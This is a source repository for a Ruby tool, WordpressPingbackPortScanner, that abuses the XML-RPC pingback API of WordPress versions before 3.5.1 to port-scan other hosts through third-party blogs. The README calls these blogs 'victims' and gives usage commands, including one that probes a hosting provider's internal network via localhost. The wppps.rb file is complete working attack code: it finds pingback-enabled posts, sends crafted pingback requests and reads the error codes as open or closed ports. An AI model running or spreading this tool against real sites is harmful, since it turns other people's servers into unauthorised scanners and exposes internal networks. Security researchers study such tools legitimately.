├── Gemfile ├── CREDITS ├── .gitignore ├── Gemfile.lock ├── README.md └── wppps.rb /Gemfile: -------------------------------------------------------------------------------- 1 | source "https://rubygems.org" 2 | gem "typhoeus", ">=0.6.3" -------------------------------------------------------------------------------- /CREDITS: -------------------------------------------------------------------------------- 1 | ======== CREDITS ======== 2 | Christian Mehlmauer @_FireFart_ - Developer 3 | 4 | Robin Wood - robin@digininja.org: typhoeus 0.5 adaption, added command line options 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.gem 2 | *.rbc 3 | .bundle 4 | .config 5 | coverage 6 | InstalledFiles 7 | lib/bundler/man 8 | pkg 9 | rdoc 10 | spec/reports 11 | test/tmp 12 | test/version_tmp 13 | tmp 14 | .idea/ 15 | 16 | # YARD artifacts 17 | .yardoc 18 | _yardoc 19 | doc/ 20 | -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | ethon (0.5.12) 5 | ffi (>= 1.3.0) 6 | mime-types (~> 1.18) 7 | ffi (1.9.0) 8 | mime-types (1.23) 9 | typhoeus (0.6.3) 10 | ethon (~> 0.5.11) 11 | 12 | PLATFORMS 13 | ruby 14 | 15 | DEPENDENCIES 16 | typhoeus (>= 0.6.3) 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | WordpressPingbackPortScanner 2 | ============================ 3 | 4 | Wordpress exposes a so called Pingback API to link to other blogposts. 5 | Using this feature you can scan other hosts on the intra- or internet via this server. 6 | You can also use this feature for some kind of distributed port scanning: 7 | You can scan a single host using multiple Wordpress Blogs exposing this API. 8 | This issue was fixed in Wordpress 3.5.1. Older versions are vulnerable, 9 | if the XML-RPC Interface is active. 10 | 11 | Examples 12 | -------- 13 | Before you start you need to install all dependencies with 14 | ``` 15 | gem install bundler 16 | bundle install 17 | ``` 18 | 19 | Quick-scan a target via a blog: 20 | ``` 21 | ruby wppps.rb -t http://www.target.com http://www.myblog.com/ 22 | ``` 23 | 24 | Use multiple blogs to scan a single target: 25 | ``` 26 | ruby wppps.rb -t http://www.target.com http://www.myblog1.com/ http://www.myblog2.com/ http://www.myblog3.com/ 27 | ``` 28 | 29 | Scan a free wordpress.com blog (all ports) from the internal network: 30 | ``` 31 | ruby wppps.rb -a -t http://localhost http://myblog.wordpress.com/ 32 | ``` 33 | -------------------------------------------------------------------------------- /wppps.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'optparse' 4 | require 'typhoeus' 5 | require 'uri' 6 | require 'ostruct' 7 | 8 | class Array 9 | alias_method :sample, :choice unless method_defined?(:sample) 10 | end 11 | 12 | def colorize(text, color_code) 13 | "\e[#{color_code}m#{text}\e[0m" 14 | end 15 | 16 | def red(text) 17 | colorize(text, 31) 18 | end 19 | 20 | def green(text) 21 | colorize(text, 32) 22 | end 23 | 24 | def yellow(text) 25 | colorize(text, 33) 26 | end 27 | 28 | def logo 29 | puts 30 | puts ' _ __ __ ___ _ __ __' 31 | puts ' | | /| / /__ _______/ /__ _______ ___ ___ / _ \\(_)__ ___ _/ / ___ _____/ /__' 32 | puts ' | |/ |/ / _ \\/ __/ _ / _ \\/ __/ -_|_-<(_-< / ___/ / _ \\/ _ `/ _ \\/ _ `/ __/ \'_/' 33 | puts ' |__/|__/\\___/_/ \\_,_/ .__/_/ \\__/___/___/ /_/ /_/_//_/\\_, /_.__/\\_,_/\\__/_/\\_\\' 34 | puts ' ___ __ /_/___ /___/' 35 | puts ' / _ \\___ ____/ /_ / __/______ ____ ___ ___ ____' 36 | puts ' / ___/ _ \\/ __/ __/ _\\ \\/ __/ _ `/ _ \\/ _ \\/ -_) __/' 37 | puts ' /_/ \\___/_/ \\__/ /___/\\__/\\_,_/_//_/_//_/\\__/_/' 38 | puts 39 | puts yellow('Warning: this tool only works with Wordpress versions < 3.5.1') 40 | puts yellow('To determine your Wordpress version you can use WPScan http://wpscan.org/') 41 | puts 42 | end 43 | 44 | def generate_pingback_xml (target, valid_blog_post) 45 | xml = '' 46 | xml << '' 47 | xml << 'pingback.ping' 48 | xml << '' 49 | xml << "#{target}" 50 | xml << "#{valid_blog_post}" 51 | xml << '' 52 | xml << '' 53 | xml 54 | end 55 | 56 | def xml_rpc_url_from_headers(url) 57 | resp = Typhoeus::Request.head(url, 58 | :followlocation => true, 59 | :maxredirs => 10, 60 | :timeout => 5000, 61 | :headers => {'User-Agent' => @options.useragent} 62 | ) 63 | headers = resp.headers_hash 64 | # Provided by header? Otherwise return nil 65 | headers['x-pingback'] 66 | end 67 | 68 | def xml_rpc_url_from_body(url) 69 | resp = Typhoeus::Request.get(url, 70 | :followlocation => true, 71 | :maxredirs => 10, 72 | :timeout => 5000, 73 | :headers => {'User-Agent' => @options.useragent} 74 | ) 75 | # Get URL from body, return nil if not present 76 | resp.body[%r{}, 1] 77 | end 78 | 79 | def xml_rpc_url_from_default(url) 80 | url = get_default_xmlrpc_url(url) 81 | resp = Typhoeus::Request.get(url, 82 | :followlocation => true, 83 | :maxredirs => 10, 84 | :timeout => 5000, 85 | :headers => {'User-Agent' => @options.useragent} 86 | ) 87 | return url if resp.code == 200 and resp.body =~ /XML-RPC server accepts POST requests only./ 88 | nil 89 | end 90 | 91 | def get_xml_rpc_url(url) 92 | xmlrpc_url = xml_rpc_url_from_headers(url) 93 | if xmlrpc_url.nil? or xmlrpc_url.empty? 94 | xmlrpc_url = xml_rpc_url_from_body(url) 95 | if xmlrpc_url.nil? or xmlrpc_url.empty? 96 | xmlrpc_url = xml_rpc_url_from_default(url) 97 | if xmlrpc_url.nil? or xmlrpc_url.empty? 98 | raise("Url #{url} does not provide a XML-RPC url") 99 | end 100 | puts 'Got default XML-RPC Url' if @options.verbose 101 | else 102 | puts 'Got XML-RPC Url from Body' if @options.verbose 103 | end 104 | else 105 | puts 'Got XML-RPC Url from Headers' if @options.verbose 106 | end 107 | xmlrpc_url 108 | end 109 | 110 | def get_default_xmlrpc_url(url) 111 | uri = URI.parse(url) 112 | uri.path << '/' if uri.path[-1] != '/' 113 | uri.path << 'xmlrpc.php' 114 | uri.to_s 115 | end 116 | 117 | def get_pingback_request(xml_rpc, target, blog_post) 118 | pingback_xml = generate_pingback_xml(target, blog_post) 119 | Typhoeus::Request.new(xml_rpc, 120 | :followlocation => true, 121 | :maxredirs => 10, 122 | :timeout => 10000, 123 | :method => :post, 124 | :body => pingback_xml, 125 | :headers => {'User-Agent' => @options.useragent} 126 | ) 127 | end 128 | 129 | def get_valid_blog_post(xml_rpcs) 130 | blog_posts = [] 131 | xml_rpcs.each do |xml_rpc| 132 | url = xml_rpc.sub(/\/xmlrpc\.php$/, '') 133 | # Get valid URLs from Wordpress Feed 134 | feed_url = "#{url}/?feed=rss2" 135 | params = {:followlocation => true, :maxredirs => 10, :headers => {'User-Agent' => @options.useragent}} 136 | response = Typhoeus::Request.get(feed_url, params) 137 | links = response.body.scan(/([^<]+)<\/link>/i) 138 | if response.code != 200 or links.nil? or links.empty? 139 | raise("No valid blog posts found for xmlrpc #{xml_rpc}") 140 | end 141 | links.each do |link| 142 | temp_link = link[0] 143 | puts "Trying #{temp_link}.." if @options.verbose 144 | # Test if pingback is enabled for extracted link 145 | pingback_request = get_pingback_request(xml_rpc, 'http://www.google.com', temp_link) 146 | @hydra.queue(pingback_request) 147 | @hydra.run 148 | pingback_response = pingback_request.response 149 | # No Pingback for post enabled: 33 150 | pingback_disabled_match = pingback_response.body.match(/33<\/int><\/value>/i) 151 | if pingback_response.code == 200 and pingback_disabled_match.nil? 152 | puts "Found valid post under #{temp_link}" 153 | blog_posts << {:xml_rpc => xml_rpc, :blog_post => temp_link} 154 | break 155 | end 156 | end 157 | end 158 | 159 | if blog_posts.nil? or blog_posts.empty? 160 | raise('No valid posts with pingback enabled found') 161 | end 162 | 163 | blog_posts 164 | end 165 | 166 | def is_port_open?(response) 167 | # see wp-includes/class-wp-xmlrpc-server.php#pingback_ping($args) for error codes 168 | # open 17: The source URL does not contain a link to the target URL, and so cannot be used as a source. 169 | # open 32: We cannot find a title on that page. 170 | # closed 16: The source URL does not exist. 171 | open_match = response.body.match(/(17|32)<\/int><\/value>/i) 172 | return true if response.code == 200 and open_match 173 | false 174 | end 175 | 176 | def generate_requests(xml_rpcs, target) 177 | port_range = @options.all_ports ? (0...65535) : @options.ports 178 | port_range.each do |i| 179 | random = (0...8).map { 65.+(rand(26)).chr }.join 180 | xml_rpc_hash = xml_rpcs.sample 181 | uri = URI(target) 182 | uri.port = i 183 | uri.scheme = i == 443 ? 'https' : 'http' 184 | uri.path = "/#{random}/" 185 | pingback_request = get_pingback_request(xml_rpc_hash[:xml_rpc], uri.to_s, xml_rpc_hash[:blog_post]) 186 | pingback_request.on_complete do |response| 187 | if is_port_open?(response) 188 | puts green("Port #{i} is open") 189 | else 190 | puts yellow("Port #{i} is closed") 191 | end 192 | if @options.verbose 193 | puts "URL: #{uri.to_s}" 194 | puts "XMLRPC: #{xml_rpc_hash[:xml_rpc]}" 195 | puts 'Request:' 196 | puts pingback_request.options[:body] 197 | puts "Response Code: #{response.code}" 198 | puts response.body 199 | puts '##################################' 200 | end 201 | end 202 | @hydra.queue(pingback_request) 203 | end 204 | end 205 | 206 | begin 207 | logo 208 | 209 | xml_rpcs = [] 210 | 211 | @options = OpenStruct.new 212 | @options.target = 'http://localhost' 213 | @options.all_ports = false 214 | @options.ports = [21, 22, 25, 53, 80, 106, 110, 143, 443, 3306, 3389, 8443, 9999] 215 | @options.verbose = false 216 | @options.useragent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0' 217 | 218 | opt_parser = OptionParser.new do |opts| 219 | opts.banner = "Usage: ruby #{opts.program_name}.rb [OPTION] ... VICTIMS" 220 | opts.version = '2.0' 221 | 222 | opts.separator '' 223 | opts.separator 'Specific options:' 224 | 225 | opts.on('-t', '--target TARGET', 'the target to scan - default localhost') do |value| 226 | if value !~ /^http/ 227 | @options.target = "http://#{value}" 228 | else 229 | @options.target = value 230 | end 231 | end 232 | 233 | opts.on('-u', '--user-agent USERAGENT', 'send custom User-Agent header') do |value| 234 | @options.useragent = value 235 | end 236 | 237 | opts.on('-a', '--all-ports', 'Scan all ports. Default is to scan only some common ports') do |value| 238 | @options.all_ports = value 239 | end 240 | 241 | opts.on('-p', '--ports PORTS', 'Scan given ports. Comma separated list and ranges are allowed, e.g. 80,8080,25-30') do |value| 242 | ports = value.split(',') 243 | ports.map! {|x| x.split('-')} 244 | ports.map! {|x| x.length > 1 ? (x[0]..x[1]).to_a : x} 245 | @options.ports = ports.flatten.uniq.map{|x| x.to_i} 246 | end 247 | 248 | opts.on('-v', '--verbose', 'Enable verbose output') do |value| 249 | @options.verbose = value 250 | end 251 | 252 | opts.on('-d', '--debug', 'Enable debug output') do |value| 253 | Typhoeus::Config.verbose = value 254 | end 255 | 256 | opts.separator '' 257 | opts.separator 'VICTIMS: a space separated list of victims to use for scanning (must provide a XML-RPC Url)' 258 | opts.separator "Currently defined common ports: #{@options.ports.join(', ')}" 259 | opts.separator '' 260 | 261 | end 262 | 263 | opt_parser.parse!(ARGV) 264 | 265 | if ARGV.empty? 266 | puts opt_parser 267 | exit(-1) 268 | end 269 | 270 | # Parse XML RPCs 271 | ARGV.each do |site| 272 | url_cleanup = site.sub(/\/xmlrpc\.php$/i, '/') 273 | # add trailing slash 274 | url_cleanup =~ /\/$/ ? url_cleanup : "#{url_cleanup}/" 275 | xml_rpcs << get_xml_rpc_url(url_cleanup) 276 | end 277 | 278 | if xml_rpcs.nil? or xml_rpcs.empty? 279 | raise('No valid XML-RPC interfaces found') 280 | end 281 | 282 | @hydra = Typhoeus::Hydra.new(:max_concurrency => 10) 283 | 284 | puts 'Getting valid blog posts for pingback...' 285 | hash = get_valid_blog_post(xml_rpcs) 286 | puts 'Starting portscan...' 287 | generate_requests(hash, @options.target) 288 | @hydra.run 289 | rescue => e 290 | puts red("[ERROR] #{e.message}") 291 | puts red('Trace :') 292 | puts red(e.backtrace.join("\n")) 293 | end 294 | --------------------------------------------------------------------------------